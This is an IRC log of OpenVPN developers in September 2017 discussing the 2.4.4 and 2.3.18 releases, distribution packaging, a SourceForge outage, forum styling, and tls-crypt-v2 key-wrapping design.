Hackathon" :) 05:17 <@dazo> I think this have appeared once before as well ... but don't recall what happened then 05:17 <@dazo> But I think we should have some kind of "donations" possibility, which could be labelled for costs of community servers/services 05:21 <@cron2> food and drinks at Hackathon sounds like a worthy cause :-) 05:22 <@cron2> who is in charge of accepting moneyz? Last time we tried to put this on Samuli :) 05:47 <@ordex> food&drinks is always welcome :) 06:05 <@plaisthos> cron2: now yes 06:08 <@plaisthos> cron2: I think dazo got the in money in US which he then transferred to me since I could USD since paypals conversion rate was horrendous 06:10 <@plaisthos> And then I used the money to buy epxensive beer 06:14 <@ordex> plaisthos: and you drank it alone? 06:14 <@ordex> shame on you ! 06:14 <@ordex> :D 06:52 <@plaisthos> ordex: no 06:52 <@plaisthos> of course not 06:53 <@ordex> :) 10:24 <@ecrist> mattock: FYI, I'm working on the templates for the forums. Their changes are more involved than I though. 10:24 <@ecrist> Should have it done today or tomorrow. 13:10 * dazo starts the tag process for the v2.4.4 release 13:24 <@cron2> *thumbs up* 14:36 <@dazo> cron2: you around? 14:37 <@dazo> (if you are, do you have time to quickly eyeball the tag preparation commit?) 14:41 <@dazo> I'll for 30 min or so, and then I'll continue 14:41 <@dazo> cron2: see PM for patch 15:18 * dazo continues 15:39 <@cron2> dazo: looks good 15:39 <@cron2> sorry, was afk, but anyway - all is good :) 15:55 <@dazo> thx! :) 15:55 <@dazo> I fixed a minor mistakes though ... just pushed out v2.4.4 now 15:56 <@dazo> is it possible ...... forgot to commit the tag :-/ 15:58 <@cron2> lol 15:58 <@dazo> will do v2.3.18 a bit later in the evening 15:58 <@dazo> To gitlab.com:openvpn/openvpn.git 15:58 <@dazo> * [new tag] v2.4.4 -> v2.4.4 15:58 <@dazo> okay, good :) 15:58 * cron2 needs to go to bed - fly to Berlin tomorrow, meeting with politicians and ISPs (... basically acting as a translator...) - some bits are exciting, but overall it's just too much time for too little gain 15:59 <@dazo> well, make sure to grab the "I talked to a politician in an official setting"-tshirt! 16:00 <@dazo> hope you can do a difference, regardless :) 19:40 <@ordex> cron2: did we miss a patch or am I wrong ? 21:19 < CRCinAU> dazo: cos I'm dumb, 2.4.4 has the auth-token fixes? 21:25 <@ordex> CRCinAU: yes 21:40 < CRCinAU> win. 21:40 < CRCinAU> and my contrib script? :P 21:45 <@ordex> that's not in yet 21:45 <@ordex> CRCinAU: is it possible to have that written in another language? 22:38 < CRCinAU> bloody internet dropouts. 22:38 < CRCinAU> ordex: not easily.... 22:39 < CRCinAU> theres a lot of stuff about saving tokens and doing HTTP posts that may be difficult to reimplement 22:39 < CRCinAU> ie as a bash script... 22:39 < CRCinAU> its probably possible in python - but I don't know enough to do that at all. 22:40 <@ordex> mh 22:40 <@ordex> I think python would generally be easier to review 22:40 <@ordex> I have read perl only once and I would need to "study" from scratch 22:40 <@ordex> btw, http post in bash can be easily done with curl 22:41 <@ordex> but string processing is probably not brilliant 22:41 < CRCinAU> probably - but parsing the output would be..... harder than reading the perl ;) 22:41 <@ordex> :D 22:41 <@ordex> likely 22:41 <@ordex> what's the output like? 22:41 <@ordex> json? or plain text? 22:41 <@ordex> and, does your script work with any yubikey? 22:43 <@ordex> maybe I should find a way to get one :) 23:02 < CRCinAU> ordex: any yubikey configured to use YubiOTP 23:03 < CRCinAU> dazo has tested it fully :P 23:03 < CRCinAU> not sure if he tested the latest version which does things a lot better - and exposed the auth-token issues. 23:03 <@ordex> oh ok :) 23:16 < CRCinAU> hmmm 23:17 < CRCinAU> I've just figured out why my VPN keeps dying :) 23:17 < CRCinAU> F27 doesn't have a fixed build yet for auth-token :) 23:17 < CRCinAU> I did an upgrade from F26 (which had dazo's custom package) to F27 - which is stock 2.4.3 23:21 <@ordex> hehe 23:32 < CRCinAU> at least we're having a release of 2.4.4 soon - so that'll be fixed too 23:32 < CRCinAU> so the only issue I've found on F27 so far is that akonadi is screwed so my mail doesn't work... 23:33 < CRCinAU> but that's being worked on 23:36 <@ordex> dazo: cron2: mattock: syzzer: I have created https://community.openvpn.net/openvpn/wiki/Topics-2017-09-27 - feel free to add more 23:36 <@vpnHelper> Title: Topics-2017-09-27 – OpenVPN Community (at community.openvpn.net) 23:39 <@ordex> CRCinAU: has akonadi ever been working correctly? 23:39 <@ordex> :P --- Day changed Tue Sep 26 2017 01:36 <@cron2> dazo: oh well, there's stories with politicians... I was once invited to help understand IPv6 to two members of the german parliament - so I dressed up all the way with suit and tie, and then both MdB sat there in jeans and pullovers... :-) 01:47 < CRCinAU> ordex: kinda - at least for F26.,,,, 01:47 < CRCinAU> but it won't even start on F27 04:25 <@dazo> cron2: hehe ... I wonder if they "dressed down" as they didn't want to scare a geek :-P 04:26 <@dazo> btw ... the v2.3.18 tag should have been pushed out late yesterday as well 06:26 <@mattock> ordex: 2.4.4 is already tagged 06:26 <@mattock> I'll try to push it out today 06:26 <@mattock> building debian and windows packages atm 07:21 < slypknot> mattock: Re Changes in 2.4.4 - I have not seen the man patch applied yet .. 07:23 < slypknot> ok .. the manual online does show the correction to --verify-x509-name 07:24 <@mattock> slypknot: the online man-page on Trac was generated from openvpn sources ~15 minutes ago 07:24 <@mattock> so if the fix is in Trac it is also in the openvpn repository 07:27 < slypknot> ok 07:36 <@dazo> slypknot: your patch is applied, even highlighted in Changes.rst 07:37 <@dazo> you should also have received a "Patch applied" mail, enlisting all branches it was applied to .... anything which hits release/2.x branches will come in the next release 07:45 < slypknot> dazo: i did not recieve said "patch applied" email .. 07:45 < slypknot> but it is not important .. maybe you just forgot that one ? 07:47 <@dazo> slypknot: it's here: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg15363.html 07:47 <@vpnHelper> Title: Re: [Openvpn-devel] [PATCH applied] man: Corrections to doc/openvpn.8 (at www.mail-archive.com) 07:50 < slypknot> dazo: thanks .. dion't know why (i guess i messed something up) but i never got that mail 07:59 < slypknot> hah ... fucking google made it spam ! 08:29 <@mattock> let's see if _this_ time we can pull of a release without GPG signature mismatches 08:30 <@ecrist> heh 08:30 <@mattock> so far everything is looking good 08:32 <@mattock> files on webservers now 08:35 < CRCinAU> release party? :P 08:37 < CRCinAU> ╰( ͡° ͜ʖ ͡° )つ──☆*:・ﾟ 08:37 < CRCinAU> magic :) 08:43 <@mattock> magic of unicode :) 08:43 <@mattock> try doing that with ISO-8859-1 08:43 <@mattock> :P 08:43 <@mattock> debian packages released 08:43 <@mattock> I will update the downloads page next 08:48 <@mattock> cron2: congratulations on a release (2.4.4) where there's not a single patch from you :P 08:51 < CRCinAU> slacker :p 08:52 * CRCinAU nudges dazo re Fedora packages ;) 09:30 <@plaisthos> I don't think from me eitehr :) 09:32 <@mattock> plaisthos: there are two patches from you 09:32 <@mattock> better luck next time :D 09:33 <@mattock> download page updated 09:35 <@plaisthos> and I thought I did almost nothing for openvpn 09:44 <@cron2> mattock: this is not good... 09:52 <@mattock> ok, release is out, fingers crossed 10:52 < CRCinAU> do the release party chant.... 10:53 < CRCinAU> "dont fuck it up. dont fuck it up. dont fuck it up" etc 11:00 <@dazo> heh 11:11 <@ordex> yuppie dooo 11:17 <@dazo> CRCinAU: this will probably silence you for an hour or two .... https://koji.fedoraproject.org/koji/taskinfo?taskID=22087376 ;-) 11:17 <@vpnHelper> Title: build (f27-candidate, openvpn-2.4.4-1.fc27.src.rpm) | Task Info | koji (at koji.fedoraproject.org) 11:17 <@dazo> (just a scratch build, but will do the full push once everything have been tested properly) 11:21 < slypknot> no ML announcement ? (i checked google didn;t do you as spam again) 11:23 <@mattock> has someone received the mailing list announcement? I sure sent it but I don't see it either 11:24 <@mattock> or rather two of them (2.4.4 and 2.3.18) 11:25 <@dazo> mattock: haven't seen it yet 11:25 <@mattock> hmm 11:25 <@mattock> I will resend 11:25 <@dazo> have you cchecked mail-archive.com? 11:25 <@dazo> or sf.net archives? 11:25 <@mattock> not yet 11:26 <@dazo> ehm 11:27 <@mattock> ok, I guess this explains it: https://sourceforge.net/error-404.html?project=openvpn 11:27 <@vpnHelper> Title: Page not found - SourceForge.net (at sourceforge.net) 11:27 <@mattock> "The sourceforge.net website is temporarily in static offline mode. 11:27 <@mattock> Only a very limited set of project pages are available until the main website returns to service." 11:27 <@dazo> yeah 11:27 <@dazo> that's exactly what I saw too ... just tried a few other things too 11:27 <@dazo> https://twitter.com/sfnet_ops/status/912673956712341514 11:32 < slypknot> ok 11:34 < CRCinAU> dazo: NICE! 11:34 < CRCinAU> I'll screw with stuff tomorrow... 11:35 < CRCinAU> I hit the auth token bug again after upgrading to F27 Alpha 11:35 < CRCinAU> took me a while - I thought my net connection was dropping out ;) 11:38 < CRCinAU> so now I just have to help fix kmail in F27, and she seems good for Beta :) 12:46 <@cron2> dazo: so tomorrow you'll be moving to a new country? 12:47 <@cron2> (and, in related news, I won't make tomorrow's meeting, as I have another meeting at the very same time which I cannot duck) 13:16 <@dazo> cron2: yeah, for the next 3 months 14:07 < slypknot> just to check: i am trying to update ubuntu 16.04.2 LTS, i double checked my sources.list.d and apt-key, i have "deb http://build.openvpn.net/debian/openvpn/stable xenial main" .. but i am not getting 2.4.4 only 2.4.3 ? is 2.4.4 not "stable" ? 14:07 <@vpnHelper> Title: Index of /debian/openvpn/stable/ (at build.openvpn.net) 14:08 < slypknot> 32bit btw 14:33 < slypknot> This deb http://build.openvpn.net/debian/openvpn/release/2.4 xenial main 14:33 <@vpnHelper> Title: Index of /debian/openvpn/release/2.4/ (at build.openvpn.net) 14:33 < slypknot> also only offers 2.4.3 15:12 < slypknot> i guess the openvpn repos are still on the todo list .. 15:46 < slypknot> windows looks ok and colourful 17:01 < slypknot> lazy gpg is also good 17:11 <@dazo> Packaged for Fedora 25, 26 and 27 ready. EPEL 6 and 7 is brewing ... Now I just need to wait for the Fedora security team to create the proper CVE bugzillas and I can start push these builds out to the -testing repos 17:12 <@dazo> (and once enough +1 karma in -testing have been collected, it gets pushed out to everyone) 17:14 <@dazo> For the impatient ones (looking at you CRCinAU!) ... the official builds .... https://koji.fedoraproject.org/koji/packageinfo?packageID=2700 17:14 <@vpnHelper> Title: openvpn | Package Info | koji (at koji.fedoraproject.org) 18:46 <@ordex> morning ! 19:27 <@ordex> wow, on gentoo we already have 2.4.4 :) 20:16 < slypknot> ordex: did you even bother to read my comments ? 20:24 < CRCinAU> dazo: impatient? me? I have no idea what you're talking about ;) 20:25 <@ordex> slypknot: which ones? 20:25 <@ordex> slypknot: about the deb? 20:25 < slypknot> yep 20:25 <@ordex> just now :P 20:29 < slypknot> an official update regarding openvpn repos would go a long way.. 20:30 < slypknot> maybe just some dumb cloud shot ? 20:42 <@ordex> dumb cloud shot ? 21:45 <@ordex> yuppie doooo! master on linux builds with -O2 -std=c99 -Wall without any warning now :] 21:45 <@ordex> syzzer: mission accomplished! 21:45 <@ordex> :D 21:48 <@ordex> syzzer: next mission: -Wextra 21:48 <@ordex> let the fun begin 23:30 -!- pekster_ [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 23:30 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 23:31 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:31 -!- mode/#openvpn-devel [+v krzie] by ChanServ 23:35 -!- Netsplit *.net <-> *.split quits: +krzee, @pekster --- Day changed Wed Sep 27 2017 01:44 <@mattock> slypknot: it seems that freight-cache (which puts the debian packages into the webserver directories) is misbehaving for unknown reasons 01:44 <@mattock> for some reason only part of the packages were added to the repos (e.g. those for Ubuntu 14.04) 01:47 <@mattock> ok, so the problem was related to the GnuPG 2.x issue in freight which has not been fixed yet, only worked around - rather mysterious symptom though 01:59 * ordex facepalms 06:26 < slypknot> mattock: thanks for the explanation 07:04 <@ordex> mattock: isn't the meeting today? why did you write tomorrow in the email ? 07:29 < slypknot> apart from the obvious "stupid" .. is there an internet term for when somebody quotes a previous post and adds nothing to it ? 08:12 < CRCinAU> hey - ummm... so did my contrib script make it into 2.4.4? :P 08:20 < CRCinAU> anyhow - added it to the meeting wiki - and also replied with details to the list. 08:25 <@ordex> CRCinAU: I am sure you can make it to the meeting 08:25 < CRCinAU> at 3am? :P 08:25 <@ordex> yeah 08:25 <@ordex> I'll be there at 1am :) 08:26 <@ordex> :-P 08:26 < CRCinAU> 1am I coud probably do..... but I get stuck on too much shit that kills my sleeping times anyway :\ 08:26 < CRCinAU> I don't think I've been to bed before 2am at all this week.... 08:26 < CRCinAU> and still up at 8am for work 08:26 < CRCinAU> at least Friday this week is a public holiday.... 08:28 < slypknot> mattock: I just upgraded all different version of debian8(64+32b) from openvpn repos and all got 2.4.4 and all work 08:28 < slypknot> and ubuntu 08:31 <@ordex> CRCinAU: what holiday is that ? 08:32 < CRCinAU> hahaha AFL Grand Final holiday :) 08:44 <@ordex> :P 08:44 < CRCinAU> in Victoria, we love our sport.... 08:44 < CRCinAU> public holiday for Melbourne Cup (pony races) and before the AFL Grand Final... 08:47 <@ordex> hehe 08:47 <@ordex> there is always a good reason to stop working :P 08:48 < CRCinAU> yup 09:04 <@ecrist> so, there's a release 09:05 * ecrist got 8 notifications 09:08 <@ordex> ecrist: just 8? 09:08 <@ordex> :P 09:38 < slypknot> ecrist: sourceforge had some downtime 09:39 < slypknot> ecrist: dazo found this : https://twitter.com/sfnet_ops/status/912673956712341514 09:44 <@ecrist> yeah, I'm just giving mattock some crap 09:54 < slypknot> like when i give you some crap ;) 11:48 <@ecrist> indeed! 13:56 <@cron2> ordex, mattock: wrt "my" buildslaves - these run on hardware sponsored by one of my customers (SpaceNet), so it's their generic pool infra, not something under my desk. And I think it makes sense, because "someone has to pay for power and hardware and vmware licenses / cloud management" - so if they are willing to sponsor it, I'm willing to take it :-) 14:00 <@cron2> ordex, mattock: wrt to "major release" - not sure why you ended up discussing so much that "dazo and I fight about" when neither of us is there to explain things. While mattock has been around at 2.3.0 and 2.4.0, ordex hasn't, so it's not as trivial to see from the outside 14:01 <@cron2> ordex: the problem with releases is that people are using OpenVPN in a zillion different ways. We do test nightly builds, client and server :-) - but nobody else does. So anything *I* (and dazo) don't use might not end up in the set of things tested - and when we change the internals in big ways, these "unknown feature combinations" tend to blow up 14:02 <@cron2> like, NCP. syzzer and I spent a lot of thought on this, and there were still combinations that ended up causing problems 14:03 <@cron2> so, we have a 2.3.x version which was guaranteed to "we're not breaking this in surprising ways" and a "master" which got new socket stuff, new crypto stuff, NCP, and that eventually became 2.4.0-rc1, rc2, alpha, beta, 2.4.0-release - and now at 2.4.4, we're still fixing fallout from the new innards 14:03 <@cron2> but we should discuss and explain this in person at the hackathon 16:38 < m-a1> committed openvpn 2.4.4 to FreeBSD's ports tree 16:38 -!- m-a1 is now known as m-a 16:38 < m-a> the quarterly branch will pick up the changes coming Sunday 17:28 < slypknot> i thought the MLs were quiet .. SF probs 18:45 <@ordex> cron2: thanks for the explanation :) 18:53 < slypknot> ordex: hi there :) 18:54 <@ordex> aloha :) 18:54 < slypknot> hope you are good 18:55 <@ordex> yup I am 18:55 <@ordex> just sleepy :P 18:56 < slypknot> here is a thought : can cron2/dazo/you/etc describe a really different "way" to use openvpn ? 18:57 < slypknot> it could be like a "low hanging fruit" for contributors who do have unusual ways 18:57 * ecrist trudges along on forum skin 18:57 < slypknot> mabye a wiki page 18:57 < slypknot> ecrist: was gonna ask about that 18:58 <@ecrist> lots going on in home life right now 18:58 < slypknot> no prob 18:58 <@ecrist> working on it now, though. 18:59 < slypknot> the skin looks ok to me but i guess you want the old sky blue bak 18:59 < slypknot> as far as i can tell the bbcodes all work (maybe list is a bit funky but screw it) 19:00 < slypknot> but this does indicate an prob : https://forums.openvpn.net/viewtopic.php?f=1&t=24917 19:00 <@vpnHelper> Title: Temporary topic for Forum upgrade test - Please add any odd behaviour you find to this thread - OpenVPN Support Forum (at forums.openvpn.net) 19:17 <@ordex> slypknot: different way? what do you mean? 19:20 < slypknot> ordex: exactly ;) .. that is the problem 19:21 < slypknot> the most exotic thing i can think right now is cross building for ARM using ubuntu to build 19:21 < slypknot> last time i tried it worked but no Pi to try it on 19:22 <@ordex> oh ok 19:23 <@ordex> well I built my own version of 2.4.3 for arm64 19:23 <@ordex> for debian 19:23 <@ordex> that was troublesome 19:26 < slypknot> nigglesbut 19:26 < slypknot> nothing to tricky 19:26 < slypknot> you mean raspbian ? 19:37 <@vpnHelper> RSS Update - tickets: #938: "--bind ipv6only" not work <https://community.openvpn.net/openvpn/ticket/938> 19:45 <@ordex> slypknot: no sorry 19:46 <@ordex> slypknot: actually it was ubuntu xenial 19:50 <@ecrist> slypknot: I've pushed the new style. 19:51 <@ordex> mattock: cron2: dazo: syzzer: I think we should update this https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation#Patchquality no? 19:51 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 19:51 <@ecrist> https://github.com/ecrist/openvpn-forum-template/commit/2b3535c34eb8d49dd5d0ed04479d7ade846d0cca 19:52 <@vpnHelper> Title: Corrections for 3.2 template styles. · ecrist/openvpn-forum-template@2b3535c · GitHub (at github.com) 20:14 < slypknot> ecrist: yup looks good (test more tomoz) 20:15 < slypknot> ecrist: White text into a light background ? "Openvpn Support Forum" .. yeuk 20:17 <@ecrist> slypknot: that was the old style 20:18 <@ecrist> but, I can make an adjustment if you have a suggestion 20:20 < slypknot> dark blue works better for me 20:20 <@ecrist> rgb color code? 20:20 < slypknot> for just that title 20:20 < slypknot> oh 20:21 <@ecrist> 10,53,101? 20:22 < slypknot> #004080 20:22 < slypknot> or more 002769 20:23 <@ecrist> that's not RGB 20:23 <@ecrist> well, kinda 20:23 < slypknot> r 00 g 27 b 69 20:24 < slypknot> partially prime 20:24 <@ecrist> how about what I set? shift-f5 20:24 <@ecrist> 10,53,101 is the same blue in the openvpn logo 20:24 < slypknot> ok 20:25 <@ecrist> look OK? 20:26 < slypknot> heh .. now i like the white ! 20:26 < slypknot> sorry :S 20:26 <@ecrist> I'm keeping the blue 20:26 < slypknot> ok 20:28 < slypknot> just fyi (it will need to be fixed eventually but not tonight .. ): https://forums.openvpn.net/viewtopic.php?f=1&t=24917&p=73105#p73105 20:28 <@vpnHelper> Title: Temporary topic for Forum upgrade test - Please add any odd behaviour you find to this thread - OpenVPN Support Forum (at forums.openvpn.net) 20:29 <@ecrist> what is wrong? 20:29 <@ecrist> your last one works. what is broken? 20:31 < slypknot> according to my end . quoting text from inside a code block (eg a log) strips out all newline \n's 20:31 <@ecrist> see my last post in that thread 20:32 <@ecrist> the error is on the post action, not the render 20:32 < slypknot> you misunderstand .. quote the text from the [ code] block .. like it wa a log 20:33 <@ecrist> so, the end result is that, if you posted something when the site was broken, it remains broken. 20:33 < slypknot> the the newline's are stripped out 20:33 < slypknot> ah ok 20:33 < Luqman> So, out of curiosity what is the second paramter to ifconfig when topology is net30 (I just ended up switching to subnet instead) 20:33 < slypknot> let me try again 20:34 <@ordex> darn my hdd is about to say goodbye :/ 20:36 < slypknot> ecrist: quoting *new* [ code ] text is still stripping newlines .. see : https://forums.openvpn.net/viewtopic.php?f=1&t=24917&p=73109#p73109 20:36 <@vpnHelper> Title: Temporary topic for Forum upgrade test - Please add any odd behaviour you find to this thread - OpenVPN Support Forum (at forums.openvpn.net) 20:37 <@ecrist> what are you doing to quote it? 20:39 < slypknot> like so: press "full editor/preview" button .. then scrol down to the text in the code block and highligth some with a newline in it and the press the double quote buton .. the text will be full quoted in you input box .. minus the new lines 20:41 <@ecrist> I don't know that worked as expected before. 20:41 < slypknot> it sure did mr ! 20:41 <@ecrist> You're copying text in a <pre> with \n chars, and it's not going to present <br> 20:41 < slypknot> i use it regular as clockwork 20:42 <@ecrist> So, that's not something *I* broke, though. 20:42 <@ecrist> The style for the site is literally the default phpBB minus some CSS 20:43 < slypknot> if someone posts their log in a code block at verb 4 i use that feature all the time to highlight either the problem or eg. the pushed options 20:44 < slypknot> ok .. i would be prepared to ask about in in #phpbb .. they even have [color] working inside [code] .. maybe something big changed 20:44 <@ecrist> great. post a bug to the phpbb folks, this isn't induced by me 20:44 < slypknot> no prob 20:44 < slypknot> thanks for looking into it 20:45 <@ecrist> You're best bet is use the " quote button, and remove the excess. 20:45 <@ecrist> that should work. 20:45 < slypknot> yeah . i do thatr too 20:45 <@ecrist> changing workflow you're used to does suck, though 20:46 <@ordex> cron2: when things are so messed up that even upgrading only portage can be challenging: https://nopaste.unstable.cc/?109 20:46 <@ordex> :D 20:46 < slypknot> meh .. maybe they can explpain what changed 20:47 < slypknot> i have another bone to pick with them about the ACP .. but that can wait 20:47 <@ordex> da bonepickerrrr 20:47 < slypknot> :) 20:48 < slypknot> *user* test ophase 20:48 < slypknot> deal with it 20:51 <@ordex> do $something ! 20:53 < slypknot> its a million monkeys at a million type writers 20:53 < slypknot> something is bound t'appen 20:54 <@ordex> just sit and wait 20:55 < slypknot> or column C 21:24 <@syzzer> ordex: yeah, that could use an update :') 21:24 <@ordex> ah you're here :) 21:25 <@syzzer> didn't make it to the meeting, because I'm in your timezone and had to be at a conference (ready to absorb information) at 9am ;-) 21:25 <@ordex> ah now I remember that you mentioned you might have not been able to join the meeting 21:25 <@ordex> hehe yeah 21:25 <@ordex> welcome back to summerland :D 21:25 <@ordex> did it start today? 21:26 <@syzzer> hehe, yeah, instant sweat when going outside :') 21:26 <@ordex> ;P 21:26 <@syzzer> no, Mon. Today is the last day, but I'm attaching a three-week holiday in the same timezone 21:26 <@ordex> oh ok 21:26 <@ordex> nice :) 21:26 <@syzzer> yes, but prob. not much meeting time 21:27 <@syzzer> we could discuss the fingerprinting over mail though 21:27 <@ordex> yup, that would be a good idea 21:27 <@syzzer> I think it's best when we first think it through together anyway 21:27 <@ordex> james was worried that implementing that later might create backwards compatibility issues 21:27 <@ordex> yep 21:27 <@syzzer> could keep James in the loop 21:27 <@ordex> yup 21:28 <@ordex> what we tried to imagine last time (update the wkc at runtime) could be a good starting point. maybe we should write that down as first step 21:28 <@syzzer> did he maybe forward you the mail I sent him? 21:28 <@ordex> mh no he did not 21:28 <@syzzer> ok, I'll forward it to you 21:29 <@ordex> thanks 21:29 <@syzzer> unstable.cc or openvpn.net 21:29 <@syzzer> ? 21:30 <@ordex> mh 21:30 <@ordex> openvpn.net 21:31 <@ordex> as tls-crypt-v2 falls under that umbrella 21:31 <@syzzer> too late :p 21:31 <@ordex> btw cron2: syzzer: mattock: dazo: I have updated https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation#Formatting with one line just to avoid saying wrong things. Can be reworded as you like 21:31 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 21:31 <@ordex> ahah no problem:) 21:32 <@ordex> got the email, thanks ! 21:32 <@syzzer> ordex: update looks good to me 21:32 * syzzer off to coffee break 21:32 <@syzzer> ttyl 21:32 <@ordex> enjoy! 21:35 <@ordex> syzzer: I think that your idea of using IV_TC2_RENEW=1 should be enough to prevent compatibility issues. after all it's just a capability that can be advertised or not and if yes, the logic will kick in 21:37 <@ordex> syzzer: from a planning perspective I agree with you that we should get v2 done at this point and avoid introducing any other delay. however it would be nice if we could work on this fingerprint prevention not too far from the merge of v2 so that they can all be released with v2.5, imho 21:39 <@ordex> syzzer: re: invalidating old keys: that is verrrryyyy tricky. not only because of the state on the server, but also because we need the client to communicate back to the server when the new key has been persistently saved on disk. Imagine the client crashes after rceiving the key (reliable layer says "ok, it was sent") but before substituting it with the old one...client is doomed as it won't be able 21:39 <@ordex> to reconnect. same can happen due to a i/o error on disk. in these cases the server should know that the key exchange was not actually completed (and yes, keep a state for that) 22:45 <@ordex> syzzer: btw I don't think we need to generate a new client key every time (that would be cpu intense), but we just need to alter the final WKc so that from outside it does not look the same --- Day changed Thu Sep 28 2017 02:00 <@cron2> mornin 02:01 <@cron2> slypknot: "cross building" is not *using* it in different ways. Just look at openvpn-users for users that do something that doesn't work in surprising ways - if I knew what they were doing, we'd test for it. 02:02 <@cron2> like, all the ways people set --xxx-mtu and expect it to do something in particular 02:06 <@syzzer> ordex: why would generating a new client key be harder than rewrapping 'differently' (ie, with a new IV) ? 02:06 <@cron2> ordex: wrt gentoo / portage - this does not actually look very bad, there are no blockers or conflicts 02:06 <@syzzer> the operations are quite lightweight anyway (all symmetrical crypto, less work than encrypting a 1500-byte packet) 02:06 <@cron2> oh, openrc / opentmpfiles. That's annoying 02:06 <@ordex> cron2: true :P 02:07 <@ordex> syzzer: ah right, it's a symmetric key that we encrypt 02:07 <@ordex> so encrypting WKc is the harder operation, not creating the Kc 02:07 <@ordex> right ? 02:07 <@ordex> cron2: I just hoped that at least portage would upgrade easily 02:07 <@ordex> :/ 02:08 <@syzzer> ordex: genererating a 'new' Kc could e.g. be SHA(Kc_old) 02:08 <@cron2> yeah. I still like gentoo, but for infrequently updated systems, stuff like debian is much less pain 02:09 <@ordex> cron2: yap, agreed 02:09 <@cron2> (and I'm totally amazed at debian's "apt-get distr-upgrade"...) 02:09 <@ordex> syzzer: mh yeah 02:09 <@syzzer> (s/SHA/SHA512 to be more exact) 02:09 <@ordex> yup 02:09 <@ordex> ok, that throws away my concern :) 02:10 <@ordex> cron2: is the M_FATAL patch still up your sleeve? :] 02:11 <@syzzer> good (and keep the comment going, this does force me to think about the stuff I just shovel under the carpet because I consider then 'solvable' :-p ) 02:11 <@ordex> :D 02:11 <@ordex> syzzer: I am just going through the code as I am porting your latest changes to openvpn3 02:11 <@ordex> so more thoughts might pop up 02:11 <@syzzer> ah, very good! 02:15 <@syzzer> could you also look at my reply on the create_temp_file() error reporting (one of the tls-crypt prerequisites)? https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg15509.html 02:15 <@vpnHelper> Title: Re: [Openvpn-devel] [PATCH 1/2] Don't throw fatal errors from create_temp_file() (at www.mail-archive.com) 02:15 <@ordex> yup 02:15 <@syzzer> thanks! 02:15 <@ordex> I think I commented on this? or that was 2/2 maybe 02:15 <@syzzer> yeah, that was 2/2 02:16 <@ordex> yeah on 1/2 you replied me and now I have to digest that part a bit 02:16 <@ordex> ok 02:17 <@ordex> but maybe I should go to the beach first :-P such a gorgeous day today :D 02:18 <@syzzer> haha, sounds like a plan 02:18 <@syzzer> enjoy! 02:26 <@cron2> beach sounds good 03:39 <@mattock> meeting summary sent - waiting for bikeshedding to start :P 04:05 <@dazo> ordex: syzzer: regarding changing c->c2.filename to be const .... are we sure that won't backfire? It is needed to ensure multi_get_create_instance_udp() or multi_create_instance_tcp() are only called once 04:06 <@dazo> if it is a possibility that is called more times on an established session, then the create_temp_file() call fail 04:59 <@ordex> dazo: the concern is valid. I'll double check the other invocations 07:17 < slypknot> FYI: SF is back to normal : https://twitter.com/sfnet_ops/status/913183031111929857 08:32 <@ordex> syzzer: has the tls-crypt-v2 doc in doc/ been updated with the latest changes? 08:36 <@ordex> mh it does not contain the keyword `tls-crypt-v2-genkey` at all 08:36 * CRCinAU yawns 09:18 <@ordex> syzzer: did we agree on doing some kind of basic check on the timestamp that we are sending by default within the metadata? or did we decide to leave that to the user anyway? 09:19 <@ordex> I think we decided to pass to the user only the content of TYPE_USER, no? TYPE_TIME should be verified by the openvpn, IIRC 09:36 <@ordex> syzzer: you are still fighting with the new codestyle eh? :D 10:20 <@ordex> dazo: I have tried to wrap my head around your statement, but I am missing something. c2.pf.filename is used only in pf.c and I don't understand the relationship with multi_get_create_instance_udp() and multi_create_instance_tcp(). Could you please explain a bit more? 10:21 <@ordex> dazo: I might very well be overlooking something big, because it is time to sleep :) 10:31 <@syzzer> ordex, dazo: heh, I was about to post almost the same 10:31 <@syzzer> I don't see any issue with making pf->filename const 10:31 <@syzzer> (and my compiler seems to agree with me) 10:33 <@syzzer> ordex: what do you mean wrt code style? I guess some of the company code style keeps trickling through... Since we left the gnu style, that is much closer to the openvpn style, so I guess I'm more likely to mix them. 10:34 <@syzzer> and yeah, docs... It's somehow very hard to remember to update those. Thankfully we have sharp reviewers 11:01 <@syzzer> fyi - I have a v1 of 1/2 in the queue that moves the ||, and re-adds an explicit warning message when the pf plugin init fails, but am waiting on comments on the signal bit before I send that too 18:56 <@ordex> syzzer: some missing whitespaces - I'll show you them later 21:22 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 21:25 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 21:25 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 21:34 <@ordex> syzzer: just reading how the tls error works and the signals. this is off-topic wrt your patch, but I am curious: can the --tls-exit option be set for a server? that would be fun, no? 22:01 <@ordex> syzzer: either I missed your reply or you did not get my question? I am talking about TYPE_USER vs TYPE_TIME in the WKc --- Day changed Fri Sep 29 2017 03:35 <@dazo> ordex: the pf filters can also be applied on server side, so I was concerned a client having some connection hick-up would end up calling the pf init function at least twice .... if we are 100% sure that won't happen, then it's no problem at all 03:37 <@ordex> dazo: the state is stored in the client context 03:37 <@dazo> the call chain in that part of the code is somewhat tricky, as it get triggered via multi_process_incoming_link() (iirc), going via inherit_context_child() 03:38 <@ordex> sure, but i still don't see the problem with filename alone, I mean: 03:38 <@ordex> if we have a problem of that kind, we have the encitre child context that would be screwed 03:38 <@ordex> no? 03:38 <@ordex> I don't see how we could run the context initialization twice with the same context 03:39 <@ordex> once the context init is succesful we store it in the peer hash thing, which is used to retrieve it later and skip the initialization (unless something wrong happens and the context is entirely thrown away) 03:40 <@ordex> I think this is the assumpotion behind the entire context thing 03:40 <@dazo> ordex: that does sound reasonable ... I just don't have the complete overview of all the various code paths :) Just some burn marks I have from other things, where a function was called triggered more than I anticipated ... wanted to avoid that :) 03:40 <@ordex> ah 03:40 <@ordex> yeah :) 03:41 <@ordex> I checked today the entry points and I see the pf_init call is performed *only* in init_context(), which is why I think it is all safe 03:41 <@ordex> I may have missed something of course :P 03:41 <@dazo> if we are reasonably sure the context init (including pf init) 